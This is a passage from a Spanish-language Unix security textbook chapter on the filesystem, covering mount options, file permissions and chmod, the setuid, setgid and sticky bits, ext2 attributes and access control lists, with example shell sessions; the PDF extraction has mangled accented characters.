  • 50 CAP´ ITULO 4. EL SISTEMA DE FICHEROSpor ejemplo para destruir completamente los discos duros o bloquear toda la m´quina. Tambi´n a ees importante especificar ‘nosuid’, de forma que se ignore el bit de setuid en cualquier ficherocontenido en el sistema que el usuario monta: as´ evitamos que con un simple shell setuidado en ıun disco flexible el usuario consiga privilegios de administrador en nuestro sistema. Incluso puedeser conveniente especificar ‘noexec’, de forma que no se pueda ejecutar nada de lo que est´ en el adispositivo montado – esto parece l´gico, ya que en principio se va a tratar de una unidad utilizada osimplemente para transferir datos entre la m´quina y un sistema externo a la red, como el ordena- ador de casa de un alumno –. Todas estas opciones (‘noexec’, ‘nosuid’ y ‘nodev’) en Linux seasumen simplemente al indicar ‘user’, pero en otros sistemas Unix quiz´s no, por lo que nunca aest´ de m´s ponerlas expl´ a a ıcitamente (o al menos consultar el manual en otros clones de Unix paraasegurarse del efecto de cada opci´n); de esta forma, si queremos que los usuarios puedan montar opor ejemplo la disquetera, una entrada correcta en /etc/fstab ser´ la siguiente: ıa luisa:~# grep fd0 /etc/fstab /dev/fd0 /floppy ext2 user,noauto,nodev,nosuid,noexec luisa:~#Otro aspecto relacionado con el montaje de sistemas de ficheros que puede afectar a nuestra se-guridad es el uso de sistemas de ficheros diferentes del ra´ bajo ciertos directorios; una elecci´n ız oincorrecta a la hora de elegir d´nde montar sistemas puede causar ciertos problemas, sobre todo onegaciones de servicio. Generalmente, es recomendable montar dispositivos diferentes bajo todosy cada uno de los directorios sobre los que los usuarios tienen permiso de escritura; esto incluyeel padre de sus $HOME, /tmp/ o /var/tmp/ (que puede ser un simple enlace a /tmp/). Con estoconseguimos que si un usuario llena un disco, esto no afecte al resto del sistema: un disco llenoimplica muchos problemas para la m´quina, desde correo electr´nico que no se recibe, logs que no a ose registran, o simplemente una negaci´n de servicio contra el resto de usuarios, que no podr´n al- o amacenar nada. Aunque algunos Unices reservan una parte de cada disco o partici´n para escritura os´lo del root o de procesos que corran bajo el UID 0 – t´ o ıpicamente un 10% de su capacidad total–, no podemos confiar ciegamente en este mecanismo para mantener segura nuestra m´quina; as´ a ı,una configuraci´n m´s o menos adecuada ser´ la siguiente2 : o a ıa rosita:~# mount /dev/hda1 on / type ext2 (rw) /dev/hda2 on /tmp type ext2 (rw) /dev/hdb1 on /home type ext2 (rw) none on /proc type proc (rw) rosita:~#Como podemos comprobar, si un usuario lanza un ftp en background desde su $HOME durante lanoche – t´ıpico proceso que llena gran cantidad de disco –, en todo caso podr´ afectar al resto de ausuarios, pero nunca al sistema en global (correo, logs, root. . . ); este tipo de problemas no suelenser ataques, sino m´s bien descuidos de los usuarios que no tienen en cuenta el espacio disponible aantes de descargar ficheros de forma no interactiva. Si queremos que ni siquiera pueda afectar alresto de usuarios, podemos establecer un sistema de quotas de disco en nuestra m´quina. a4.3 Permisos de un archivoLos permisos de cada fichero son la protecci´n m´s b´sica de estos objetos del sistema operativo; o a adefinen qui´n puede acceder a cada uno de ellos, y de qu´ forma puede hacerlo. Cuando hacemos un e elistado largo de ciertos archivos podemos ver sus permisos junto al tipo de fichero correspondiente,en la primera columna de cada l´ ınea: anita:~# ls -l /sbin/rc0 2 Recordemos que en ciertos Unices existe /var/tmp/, directorio donde los usuarios tambi´n pueden escribir; quiz´s e anos interese, en lugar de dedicar una partici´n a este directorio, enlazarlo simb´licamente a /tmp/. o o
  • 4.3. PERMISOS DE UN ARCHIVO 51 r w x r - - r - - - Resto de usuarios: lectura. - Miembros del grupo (sys): lectura. - Propietario (root): lectura, escritura y ejecuci´n. o Figura 4.1: Permisos de un fichero -rwxr--r-- 3 root sys 2689 Dec 1 1998 /sbin/rc0 anita:~#En este caso vemos que el archivo listado es un fichero plano (el primer car´cter es un ‘-’) y sus apermisos son ‘rwxr--r--’. ¿C´mo interpretar estos caracteres? Los permisos se dividen en tres oternas en funci´n de a qu´ usuarios afectan; cada una de ellas indica la existencia o la ausencia o ede permiso para leer, escribir o ejecutar el fichero: una r indica un permiso de lectura, una w deescritura, una x de ejecuci´n y un ‘-’ indica que el permiso correspondiente no est´ activado. As´ o a ı,si en una de las ternas tenemos los caracteres rwx, el usuario o usuarios afectados por esa ternatiene o tienen permisos para realizar cualquier operaci´n sobre el fichero. ¿De qu´ usuarios se trata o een cada caso? La primera terna afecta al propietario del fichero, la segunda al grupo del propietariocuando lo cre´ (recordemos un mismo usuario puede pertenecer a varios grupos) y la tercera al oresto de usuarios. De esta forma, volviendo al ejemplo anterior, tenemos los permisos mostrados enla figura 4.1.Cuando un usuario3 intenta acceder en alg´n modo a un archivo, el sistema comprueba qu´ terna u ede permisos es la aplicable y se basa unicamente en ella para conceder o denegar el acceso; as´ si un ´ ı,usuario es el propietario del fichero s´lo se comprueban permisos de la primera terna; si no, se pasa oa la segunda y se aplica en caso de que los grupos coincidan, y de no ser as´ se aplican los permisos ıde la ultima terna. De esta forma es posible tener situaciones tan curiosas como la de un usuario ´que no tenga ning´n permiso sobre uno de sus archivos, y en cambio que el resto de usuarios del usistema pueda leerlo, ejecutarlo o incluso borrarlo; obviamente, esto no es lo habitual, y de sucederel propietario siempre podr´ restaurar los permisos a un valor adecuado. aEl propietario y el grupo de un fichero se pueden modificar con las ´rdenes chown y chgrp res- opectivamente; ambas reciben como par´metros al menos el nombre de usuario o grupo (los nombres av´lidos de usuario son los que poseen una entrada en /etc/passwd mientras que los grupos v´lidos a ase leen de /etc/group) al que vamos a otorgar la posesi´n del fichero, as´ como el nombre de archivo o ıa modificar: anita:~# ls -l /tmp/fichero -rw-r--r-- 1 root other 799 Feb 8 19:47 /tmp/fichero anita:~# chown toni /tmp/fichero anita:~# ls -l /tmp/fichero -rw-r--r-- 1 toni other 799 Feb 8 19:47 /tmp/fichero anita:~# chgrp staff /tmp/fichero anita:~# ls -l /tmp/fichero -rw-r--r-- 1 toni staff 799 Feb 8 19:47 /tmp/fichero anita:~# 3 Excepto el root, que no se ve afectado por los permisos de un fichero.
  • 52 CAP´ ITULO 4. EL SISTEMA DE FICHEROSEn muchas variantes de Unix es posible cambiar a la vez el propietario y el grupo de un ficheromediante chown, separando ambos mediante un car´cter especial, generalmente ‘:’ o ‘.’: a anita:~# ls -l /tmp/fichero -rw-r--r-- 1 root other 799 Feb 8 19:47 /tmp/fichero anita:~# chown toni:staff /tmp/fichero anita:~# ls -l /tmp/fichero -rw-r--r-- 1 toni staff 799 Feb 8 19:47 /tmp/fichero anita:~#Como vemos, ninguna de estas ´rdenes altera el campo de permisos4 ; para modificar los permisos ode un archivo se utiliza la orden chmod. Este comando generalmente recibe como par´metro el apermiso en octal que queremos asignar a cierto fichero, as´ como el nombre del mismo: ı anita:~# ls -l /tmp/fichero -rw-r--r-- 1 root staff 799 Feb 8 19:47 /tmp/fichero anita:~# chmod 755 /tmp/fichero anita:~# ls -l /tmp/fichero -rwxr-xr-x 1 root staff 799 Feb 8 19:47 /tmp/fichero anita:~#¿C´mo podemos obtener el n´mero en octal a partir de una terna de permisos determinada, y o uviceversa? Evidentemente no podemos entrar aqu´ a tratar todas las caracter´ ı ısticas de este sistemade numeraci´n, pero vamos a proporcionar unas ideas b´sicas. Imaginemos que tenemos un fichero o acon unos determinados permisos de los que queremos calcular su equivalente octal, o que conocemoslos permisos a asignar pero no su equivalente num´rico; por ejemplo, necesitamos asignar a un efichero la terna rw-r---wx, que en la pr´ctica no tiene mucho sentido pero que a nosotros nos sirve ade ejemplo. Lo primero que debemos hacer a partir de estos bits rwx es calcular su equivalentebinario, para lo que asignamos el valor ‘1’ si un determinado permiso est´ activo (es decir, si aaparece una r, w o x en ´l) y un ‘0’ si no lo est´ (aparece un ‘-’); as´ el equivalente binario de la e a ı,terna propuesta es 110100011. Ahora simplemente hemos de pasar el n´mero del sistema binario ual octal: lo dividimos en grupos de tres elementos (110 100 011) y de cada uno de ellos calculamossu equivalente octal: 1102 ≡ 1 · 22 + 1 · 21 + 0 · 20 ≡ 68 1002 ≡ 1 · 22 + 0 · 21 + 0 · 20 ≡ 48 0112 ≡ 0 · 22 + 1 · 21 + 1 · 20 ≡ 38Ya tenemos los tres n´meros de nuestra terna de permisos, o lo que es lo mismo, la representaci´n u ooctal de los bits iniciales: 643. Por tanto, si necesitamos asignar esta terna a un cierto fichero,simplemente hemos de ejecutar la orden chmod indic´ndole este n´mero y el nombre del archivo: a u anita:~# chmod 643 /tmp/fichero anita:~# ls -l /tmp/fichero -rw-r---wx 1 root root 799 Feb 8 19:47 /tmp/fichero* anita:~#La forma de trabajar de chmod comentada requiere que se indique expl´ ıcitamente el valor octal delos bits rwx que queremos otorgar a un fichero; sin importar el valor de las ternas que pose´ antes ıade ejecutar la orden, estamos asignando a los permisos del archivo el nuevo valor valor indicado en ınea de comandos. Existe otra forma de trabajo de chmod denominada ‘simb´lica’ en la que nola l´ onecesitamos indicar el valor octal de todos los bits, sino que especificamos unicamente par´metros ´ apara los valores de los permisos que el archivo posee y deseamos modificar. En lugar de utilizar elequivalente octal, utilizamos s´ ımbolos (de ah´ el nombre de esta forma de trabajo) que representan ıla activaci´n o desactivaci´n de ciertos bits en cada una de las tres ternas; la sintaxis b´sica5 de o o achmod en este caso es la siguiente: 4 Esto no siempre es as´ bajo ciertas circunstancias en algunos Unix el cambio de grupo o de propietario puede ı:modificar los permisos del archivo, como veremos al hablar de ficheros setuidados. 5 Se recomienda consultar la p´gina del manual para ver otras opciones de la orden. a
  • 4.4. LOS BITS SUID, SGID Y STICKY 53 chmod [ugoa]{+,-}{rwxst} ficheroPodemos ver que el valor simb´lico comienza por cero o m´s letras que indican sobre que terna o ade los permisos se van a realizar los cambios (u para propietario del fichero, g para grupo, o pararesto de usuarios y a para las tres ternas; si no se especifica ninguna letra, se asume a). A ellas lessigue un signo ‘+’ o ‘-’ en funci´n de si deseamos activar o resetar el bit sobre el que trabajamos, opar´metro indicado por el ultimo conjunto formado por una o m´s letras, r para el permiso de a ´ alectura, w para escritura, x para ejecuci´n, s para suid o sgid y t para bit de permanencia (el osignificado de estos dos ultimos se explicar´ en el punto siguiente). Entre los tres campos del valor ´ asimb´lico no se insertan espacios: o anita:~# ls -l /tmp/fichero -r-------- 1 root other 902 Feb 9 05:05 /tmp/fichero anita:~# chmod +x /tmp/fichero anita:~# ls -l /tmp/fichero -r-x--x--x 1 root other 902 Feb 9 05:05 /tmp/fichero anita:~# chmod og-x /tmp/fichero anita:~# ls -l /tmp/fichero -r-x------ 1 root other 902 Feb 9 05:05 /tmp/fichero anita:~# chmod ug+rwx /tmp/fichero anita:~# ls -l /tmp/fichero -rwxrwx--- 1 root other 902 Feb 9 05:05 /tmp/fichero anita:~#Esta forma de trabajo simb´lica es menos utilizada en la pr´ctica que la forma octal, pero en cier- o atas situaciones es muy util, por ejemplo si deseamos activar todos los permisos de ejecuci´n de un ´ oarchivo o si queremos setuidarlo: un simple chmod +x o chmod u+s es suficiente en estos casos, yevitamos preocuparnos por si modificamos el resto de permisos.Quiz´s despu´s de ver el procedimiento de modificaci´n de los permisos de un fichero, este puede pa- a e orecer demasiado complicado y arcaico para un sistema operativo moderno; a fin de cuentas, muchagente prefiere gestores gr´ficos de permisos – igual que prefiere gestores gr´ficos para otras tareas a ade administraci´n –, programas que dan todo hecho y no obligan al administrador a ‘complicarse’, ollenos de men´s desplegables y di´logos que una y otra vez preguntan si realmente deseamos modi- u aficar cierto permiso (¿Est´ usted seguro? ¿Realmente seguro? ¿Es mayor de edad? ¿Me lo jura?). aIncluso esas personas aseguran que el procedimiento gr´fico es mucho m´s claro y m´s potente que a a ael que Unix ofrece en modo texto. Nada m´s lejos de la realidad; por un lado, aunque todo el mundo areconoce que la explicaci´n detallada de c´mo funcionan los permisos de ficheros es algo farragosa, o oen la pr´ctica el convertir una terna de bits rwx a octal o viceversa es una tarea trivial, algo que aning´n administrador con unas cuantas horas de pr´ctica ni siquiera necesita pensar. Por otro, u aalgo m´s importante que la facilidad o dificultad de modificar los permisos: su robustez; hemos de apensar que este modelo de protecci´n est´ vigente desde hace casi treinta a˜os y no ha cambiado o a nabsolutamente nada. Si en todo este tiempo no se ha modificado el mecanismo, obviamente esporque siempre ha funcionado – y lo sigue haciendo – bien.4.4 Los bits suid, sgid y stickyHabitualmente, los permisos de los archivos en Unix se corresponden con un n´mero en octal que uvar´ entre 000 y 777; sin embargo, existen unos permisos especiales que hacen variar ese n´mero ıa uentre 0000 y 7777: se trata de los bits de permanencia (1000), sgid (2000) y suid (4000).El bit de suid o setuid se activa sobre un fichero a˜adi´ndole 4000 a la representaci´n octal de n e olos permisos del archivo y otorg´ndole adem´s permiso de ejecuci´n al propietario del mismo; al a a ohacer esto, en lugar de la x en la primera terna de los permisos, aparecer´ una s o una S si no ahemos otorgado el permiso de ejecuci´n correspondiente (en este caso el bit no tiene efecto): o
  • 54 CAP´ ITULO 4. EL SISTEMA DE FICHEROS anita:~# chmod 4777 /tmp/file1 anita:~# chmod 4444 /tmp/file2 anita:~# ls -l /tmp/file1 -rwsrwxrwx 1 root other 0 Feb 9 17:51 /tmp/file1* anita:~# ls -l /tmp/file2 -r-Sr--r-- 1 root other 0 Feb 9 17:51 /tmp/file2* anita:~#El bit suid activado sobre un fichero indica que todo aqu´l que ejecute el archivo va a tener durante ela ejecuci´n los mismos privilegios que qui´n lo cre´; dicho de otra forma, si el administrador crea o e oun fichero y lo setuida, todo aquel usuario que lo ejecute va a disponer, hasta que el programafinalice, de un nivel de privilegio total en el sistema. Podemos verlo con el siguiente ejemplo: luisa:/home/toni# cat testsuid.c #include <stdio.h> #include <unistd.h> main(){ printf("UID: %d, EUID: %dn",getuid(),geteuid()); } luisa:/home/toni# cc -o testsuid testsuid.c luisa:/home/toni# chmod u+s testsuid luisa:/home/toni# ls -l testsuid -rwsr-xr-x 1 root root 4305 Feb 10 02:34 testsuid luisa:/home/toni# su toni luisa:~$ id uid=1000(toni) gid=100(users) groups=100(users) luisa:~$ ./testsuid UID: 1000, EUID: 0 luisa:~$Podemos comprobar que el usuario toni, sin ning´n privilegio especial en el sistema, cuando ejecuta unuestro programa setuidado de prueba est´ trabajando con un euid (Effective UID) 0, lo que le aotorga todo el poder del administrador (fij´monos que ´ste ultimo es el propietario del ejecutable); e e ´si en lugar de este c´digo el ejecutable fuera una copia de un shell, el usuario toni tendr´ todos los o ıaprivilegios del root mientras no finalice la ejecuci´n, es decir, hasta que no se teclee exit en la l´ o ıneade ´rdenes. oTodo lo que acabamos de comentar con respecto al bit setuid es aplicable al bit setgid pero anivel de grupo del fichero en lugar de propietario: en lugar de trabajar con el euid del propietario,todo usuario que ejecute un programa setgidado tendr´ los privilegios del grupo al que pertenece ael archivo. Para activar el bit de setgid sumaremos 2000 a la representaci´n octal del permiso del ofichero y adem´s habremos de darle permiso de ejecuci´n a la terna de grupo; si lo hacemos, la s o a oS aparecer´ en lugar de la x en esta terna. Si el fichero es un directorio y no un archivo plano, el bit asetgid afecta a los ficheros y subdirectorios que se creen en ´l: estos tendr´n como grupo propieta- e ario al mismo que el directorio setgidado, siempre que el proceso que los cree pertenezca a dicho grupo.Pero, ¿c´mo afecta todo esto a la seguridad del sistema? Muy sencillo: los bits de setuid y setgid dan oa Unix una gran flexibilidad, pero constituyen al mismo tiempo la mayor fuente de ataques internosal sistema (entendiendo por ataques internos aquellos realizados por un usuario – autorizado o no– desde la propia m´quina, generalmente con el objetivo de aumentar su nivel de privilegio en la amisma). Cualquier sistema Unix tiene un cierto n´mero de ejecutables setuidados y/o setgidados. uCada uno de ellos, como acabamos de comentar, se ejecuta con los privilegios de quien lo cre´ (ge- oneralmente el root u otro usuario con ciertos privilegios) lo que directamente implica que cualquierusuario tiene la capacidad de lanzar tareas que escapen total o parcialmente al control del sistema
  • 4.4. LOS BITS SUID, SGID Y STICKY 55operativo: se ejecutan en modo privilegiado si es el administrador quien cre´ los ejecutables. Evi- odentemente, estas tareas han de estar controladas de una forma exhaustiva, ya que si una de ellasse comporta de forma anormal (un simple core dump) puede causar da˜os irreparables al sistema6 ; ntanto es as´ que hay innumerables documentos que definen, o lo intentan, pautas de programaci´n ı oconsiderada ‘segura’ (en la secci´n 5.5 se citan algunos de ellos y tambi´n se explican algunas de o eestas t´cnicas). Si por cualquier motivo un programa setuidado falla se asume inmediatamente eque presenta un problema de seguridad para la m´quina, y se recomienda resetear el bit de setuid acuanto antes.Est´ claro que asegurar completamente el comportamiento correcto de un programa es muy dif´ a ıcil,por no decir imposible; cada cierto tiempo suelen aparecer fallos (bugs) en ficheros setuidados delos diferentes clones de Unix que ponen en peligro la integridad del sistema. Entonces, ¿por qu´ eno se adopta una soluci´n radical, como eliminar este tipo de archivos? Hay una sencilla raz´n: o oel riesgo que presentan no se corre in´tilmente, para tentar al azar, sino que los archivos que se uejecutan con privilegios son estrictamente necesarios en Unix, al menos algunos de ellos. Veamosun ejemplo: un fichero setuidado cl´sico en cualquier clon es /bin/passwd, la orden para que los ausuarios puedan cambiar su contrase˜a de entrada al sistema. No hace falta analizar con mucho ndetalle el funcionamiento de este programa para darse cuenta que una de sus funciones consiste enmodificar el fichero de claves (/etc/passwd o /etc/shadow). Est´ claro que un usuario per se no atiene el nivel de privilegio necesario para hacer esto (incluso es posible que ni siquiera pueda leer elfichero de claves), por lo que frente a este problema tan simple existen varias soluciones: podemosasignar permiso de escritura para todo el mundo al fichero de contrase˜as, podemos denegar a los nusuarios el cambio de clave o podemos obligarles a pasar por la sala de operaciones cada vez quequieran cambiar su contrase˜a. Parece obvio que ninguna de ellas es apropiada para la seguridad ndel sistema (quiz´s la ultima lo sea, pero es impracticable en m´quinas con un n´mero de usuarios a ´ a uconsiderable). Por tanto, debemos asumir que el bit de setuid en /bin/passwd es imprescindiblepara un correcto funcionamiento del sistema. Sin embargo, esto no siempre sucede as´ en un sis- ı:tema Unix instalado out of the box el n´mero de ficheros setuidados suele ser mayor de cincuenta; usin perjudicar al correcto funcionamiento de la m´quina, este n´mero se puede reducir a menos de a ucinco, lo que viene a indicar que una de las tareas de un administrador sobre un sistema reci´n einstalado es minimizar el n´mero de ficheros setuidados o setgidados. No obstante, tampoco es uconveniente eliminarlos, sino simplemente resetear su bit de setuid mediante chmod: luisa:~# ls -l /bin/ping -r-sr-xr-x 1 root bin 14064 May 10 1999 /bin/ping* luisa:~# chmod -s /bin/ping luisa:~# ls -l /bin/ping -r-xr-xr-x 1 root bin 14064 May 10 1999 /bin/ping* luisa:~#Tambi´n hemos de estar atentos a nuevos ficheros de estas caracter´ e ısticas que se localicen en lam´quina; demasiadas aplicaciones de Unix se instalan por defecto con ejecutables setuidados cuando arealmente este bit no es necesario, por lo que a la hora de instalar nuevo software o actualizar elexistente hemos de acordarnos de resetear el bit de los ficheros que no lo necesiten. Especialmentegrave es la aparici´n de archivos setuidados de los que el administrador no ten´ constancia (ni son o ıaaplicaciones del sistema ni un aplicaciones a˜adidas), ya que esto casi en el 100% de los casos indica nque nuestra m´quina ha sido comprometida por un atacante. Para localizar los ficheros con alguno ade estos bits activos, podemos ejecutar la siguiente orden: luisa:~# find / ( -perm -4000 -o -perm -2000 ) -type f -printPor otra parte, el sticky bit o bit de permanencia se activa sum´ndole 1000 a la representaci´n octal a ode los permisos de un determinado archivo y otorg´ndole adem´s permiso de ejecuci´n; si hacemos a a oesto, veremos que en lugar de una x en la terna correspondiente al resto de usuarios aparece una t(si no le hemos dado permiso de ejecuci´n al archivo, aparecer´ una T): o a 6 Es especialmente preocupante la posibilidad de ejecutar c´digo arbitrario ([One96]), comentada en la secci´n 5.3. o o
  • 56 CAP´ ITULO 4. EL SISTEMA DE FICHEROS anita:~# chmod 1777 /tmp/file1 anita:~# chmod 1774 /tmp/file2 anita:~# ls -l /tmp/file1 -rwxrwxrwt 1 root other 0 Feb 9 17:51 /tmp/file1* anita:~# ls -l /tmp/file2 -rwxrwxr-T 1 root other 0 Feb 9 17:51 /tmp/file2* anita:~#Si el bit de permanencia de un fichero est´ activado (recordemos que si aparece una T no lo est´) a ale estamos indicando al sistema operativo que se trata de un archivo muy utilizado, por lo que esconveniente que permanezca en memoria principal el mayor tiempo posible; esta opci´n se utiliza- oba en sistemas antiguos que dispon´ de muy poca RAM, pero hoy en d´ pr´cticamente no se ıan ıa autiliza. Lo que si que sigue vigente es el efecto del sticky bit activado sobre un directorio: en estecaso se indica al sistema operativo que, aunque los permisos ‘normales’ digan que cualquier usuariopueda crear y eliminar ficheros (por ejemplo, un 777 octal), s´lo el propietario de cierto archivo oy el administrador pueden borrar un archivo guardado en un directorio con estas caracter´ ısticas.Este bit, que s´lo tiene efecto cuando es activado por el administrador (aunque cualquier usuario opuede hacer que aparezca una t o una T en sus ficheros y directorios), se utiliza principalmente endirectorios del sistema de ficheros en los que interesa que todos puedan escribir pero que no todospuedan borrar los datos escritos, como /tmp/ o /var/tmp/: si el equivalente octal de los permisosde estos directorios fuera simplemente 777 en lugar de 1777, cualquier usuario podr´ borrar los ıaficheros del resto. Si pensamos que para evitar problemas podemos simplemente denegar la escri-tura en directorios como los anteriores tambi´n estamos equivocados: muchos programas – como ecompiladores, editores o gestores de correo – asumen que van a poder crear ficheros en /tmp/ o/var/tmp/, de forma que si no se permite a los usuarios hacerlo no van a funcionar correctamente;por tanto, es muy recomendable para el buen funcionamiento del sistema que al menos el directorio/tmp/ tenga el bit de permanencia activado.Ya para finalizar, volvemos a lo que hemos comentado al principio de la secci´n: el equivalente ooctal de los permisos en Unix puede variar entre 0000 y 7777. Hemos visto que pod´ ıamos sumar4000, 2000 o 1000 a los permisos ‘normales’ para activar respectivamente los bits setuid, setgid osticky. Por supuesto, podemos activar varios de ellos a la vez simplemente sumando sus valores: enla situaci´n poco probable de que necesit´ramos todos los bits activos, sumar´ o a ıamos 7000 a la ternaoctal 777: luisa:~# chmod 0 /tmp/fichero luisa:~# ls -l /tmp/fichero ---------- 1 root root 0 Feb 9 05:05 /tmp/fichero luisa:~# chmod 7777 /tmp/fichero luisa:~# ls -l /tmp/fichero -rwsrwsrwt 1 root root 0 Feb 9 05:05 /tmp/fichero* luisa:~#Si en lugar de especificar el valor octal de los permisos queremos utilizar la forma simb´lica de ochmod, utilizaremos +t para activar el bit de permanencia, g+s para activar el de setgid y u+s parahacer lo mismo con el de setuid; si queremos resetearlos, utilizamos un signo ‘-’ en lugar de un‘+’ en la l´ ınea de ´rdenes. o4.5 Atributos de un archivoEn el sistema de ficheros ext2 (Second Extended File System) de Linux existen ciertos atributospara los ficheros que pueden ayudar a incrementar la seguridad de un sistema. Estos atributos sonlos mostrados en la tabla 4.1.De todos ellos, de cara a la seguridad algunos no nos interesan demasiado, pero otros s´ que se deben ı
  • 4.5. ATRIBUTOS DE UN ARCHIVO 57 Atributo Significado A Don´t update Atime S Synchronous updates a Append only c Compressed file i Immutable file d No Dump s Secure deletion u Undeletable file Tabla 4.1: Atributos de los archivos en ext2fs.tener en cuenta. Uno de los atributos interesantes – quiz´s el que m´s – es ‘a’; tan importante es a aque s´lo el administrador tiene el privilegio suficiente para activarlo o desactivarlo. El atributo ‘a’ osobre un fichero indica que este s´lo se puede abrir en modo escritura para a˜adir datos, pero nunca o npara eliminarlos. ¿Qu´ tiene que ver esto con la seguridad? Muy sencillo: cuando un intruso ha econseguido el privilegio suficiente en un sistema atacado, lo primero que suele hacer es borrar sushuellas; para esto existen muchos programas (denominados zappers, rootkits. . . ) que, junto a otrasfunciones, eliminan estructuras de ciertos ficheros de log como lastlog, wtmp o utmp. As´ consiguen ıque cuando alguien ejecute last, who, users, w o similares, no vea ni rastro de la conexi´n que el oatacante ha realizado a la m´quina; evidentemente, si estos archivos de log poseen el atributo ‘a’ aactivado, el pirata y sus programas lo tienen m´s dif´ para borrar datos de ellos. Ahora viene a ıcilla siguiente cuesti´n: si el pirata ha conseguido el suficiente nivel de privilegio como para poder oescribir – borrar – en los ficheros (en la mayor´ de Unices para realizar esta tarea se necesita ser ıaroot), simplemente ha de resetear el atributo ‘a’ del archivo, eliminar los datos comprometedoresy volver a activarlo. Obviamente, esto es as´ de simple, pero siempre hemos de recordar que en las ıredes habituales no suelen ser atacadas por piratas con un m´ ınimo nivel de conocimientos, sino porlos intrusos m´s novatos de la red; tan novatos que generalmente se limitan a ejecutar programas adesde sus flamantes Windows sin tener ni la m´s remota idea de lo que est´n haciendo en Unix, de a aforma que una protecci´n tan elemental como un fichero con el flag ‘a’ activado se convierte en oalgo imposible de modificar para ellos, con lo que su acceso queda convenientemente registrado enel sistema.Otro atributo del sistema de archivos ext2 es ‘i’ (fichero inmutable); un archivo con este flagactivado no se puede modificar de ninguna forma, ni a˜adiendo datos ni borr´ndolos, ni eliminar el n aarchivo, ni tan siquiera enlazarlo mediante ln. Igual que suced´ antes, s´lo el administrador puede ıa oactivar o desactivar el atributo ‘i’ de un fichero. Podemos aprovechar esta caracter´ ıstica en losarchivos que no se modifican frecuentemente, por ejemplo muchos de los contenidos en /etc/ (fi-cheros de configuraci´n, scripts de arranque. . . incluso el propio fichero de contrase˜as si el a˜adir o o n neliminar usuarios tampoco es frecuente en nuestro sistema); de esta forma conseguimos que ning´n uusuario pueda modificarlos incluso aunque sus permisos lo permitan. Cuando activemos el atributo‘i’ en un archivo hemos de tener siempre en cuenta que el archivo no va a poder ser modificado pornadie, incluido el administrador, y tampoco por los programas que se ejecutan en la m´quina; por atanto, si activ´ramos este atributo en un fichero de log, no se grabar´ ninguna informaci´n en a ıa o´l, lo que evidentemente no es conveniente. Tambi´n hemos de recordar que los archivos tampocoe evan a poder sen enlazados, lo que puede ser problem´tico en algunas variantes de Linux que utilizan aenlaces duros para la configuraci´n de los ficheros de arranque del sistema. oAtributos que tambi´n pueden ayudar a implementar una correcta pol´ e ıtica de seguridad en lam´quina, aunque menos importantes que los anteriores, son ‘s’ y ‘S’. Si borramos un archivo con ael atributo ‘s’ activo, el sistema va a rellenar sus bloques con ceros en lugar de efectuar un simpleunlink(), para as´ dificultar la tarea de un atacante que intente recuperarlo; realmente, para un pi- ı
  • 58 CAP´ ITULO 4. EL SISTEMA DE FICHEROSrata experto esto no supone ning´n problema, simplemente un retraso en sus prop´sitos: en el punto u o4.7 se trata m´s ampliamente la amenaza de la recuperaci´n de archivos, y tambi´n ah´ se comen- a o e ıta que un simple relleno de bloques mediante bzero() no hace que la informaci´n sea irrecuperable. oPor su parte, el atributo ‘S’ sobre un fichero hace que los cambios sobre el archivo se escribaninmediatamente en el disco en lugar de esperar el sync del sistema operativo. Aunque no es lohabitual, bajo ciertas circunstancias un fichero de log puede perder informaci´n que a´n no se haya o uvolcado a disco: imaginemos por ejemplo que alguien conecta al sistema y cuando ´ste registra la eentrada, la m´quina se apaga s´bitamente; toda la informaci´n que a´n no se haya grabado en a u o udisco se perder´. Aunque como decimos, esto no suele ser habitual – adem´s, ya hemos hablado de a alas ventajas de instalar un S.A.I. –, si nuestro sistema se apaga frecuentemente s´ que nos puede ıinteresar activar el bit ‘S’ de ciertos ficheros importantes.Ya hemos tratado los atributos del sistema de ficheros ext2 que pueden incrementar la seguri-dad de Linux; vamos a ver ahora, sin entrar en muchos detalles (recordemos que tenemos a nuestradisposici´n las p´ginas del manual) c´mo activar o desactivar estos atributos sobre ficheros, y tam- o a obi´n c´mo ver su estado. Para lo primero utilizamos la orden chattr, que recibe como par´metros e o ael nombre del atributo junto a un signo ‘+’ o ‘-’, en funci´n de si deseamos activar o desactivar el oatributo, y tambi´n el nombre de fichero correspondiente. Si lo que deseamos es visualizar el estado ede los diferentes atributos, utilizaremos lsattr, cuya salida indicar´ con la letra correspondiente acada atributo del fichero o un signo - en el caso de que el atributo no est´ activado: e luisa:~# lsattr /tmp/fichero -------- /tmp/fichero luisa:~# chattr +a /tmp/fichero luisa:~# chattr +Ss /tmp/fichero luisa:~# lsattr /tmp/fichero s--S-a-- /tmp/fichero luisa:~# chattr -sa /tmp/fichero luisa:~# lsattr /tmp/fichero ---S---- /tmp/fichero luisa:~#4.6 Listas de control de acceso: ACLsLas listas de control de acceso (ACLs, Access Control Lists) proveen de un nivel adicional de se-guridad a los ficheros extendiendo el cl´sico esquema de permisos en Unix: mientras que con estos aultimos s´lo podemos especificar permisos para los tres grupos de usuarios habituales (propieta-´ orio, grupo y resto), las ACLs van a permitir asignar permisos a usuarios o grupos concretos; porejemplo, se pueden otorgar ciertos permisos a dos usuarios sobre unos ficheros sin necesidad deincluirlos en el mismo grupo. Este mecanismo est´ disponible en la mayor´ de Unices (Solaris, a ıaAIX, HP-UX. . . ), mientras que en otros que no lo proporcionan por defecto, como Linux, puedeinstalarse como un software adicional. A pesar de las agresivas campa˜as de marketing de alguna nempresa, que justamente presum´ de ofrecer este modelo de protecci´n en sus sistemas operativos ıa ofrente al ‘arcaico’ esquema utilizado en Unix, las listas de control de acceso existen en Unix desdehace m´s de diez a˜os ([Com88]). a nLos ejemplos que vamos a utilizar aqu´ (´rdenes, resultados. . . ) se han realizado sobre Solaris; ı ola idea es la misma en el resto de Unices, aunque pueden cambiar las estructuras de las listas. Paraobtener una excelente visi´n de las ACLs es recomendable consultar [Fri95], y por supuesto la docu- omentaci´n de los diferentes clones de Unix para detalles concretos de cada manejo e implementaci´n. o oLa primera pregunta que nos debemos hacer sobre las listas de control de acceso es obvia: ¿c´mo olas vemos? Si habitualmente queremos saber si a un usuario se le permite cierto tipo de acceso
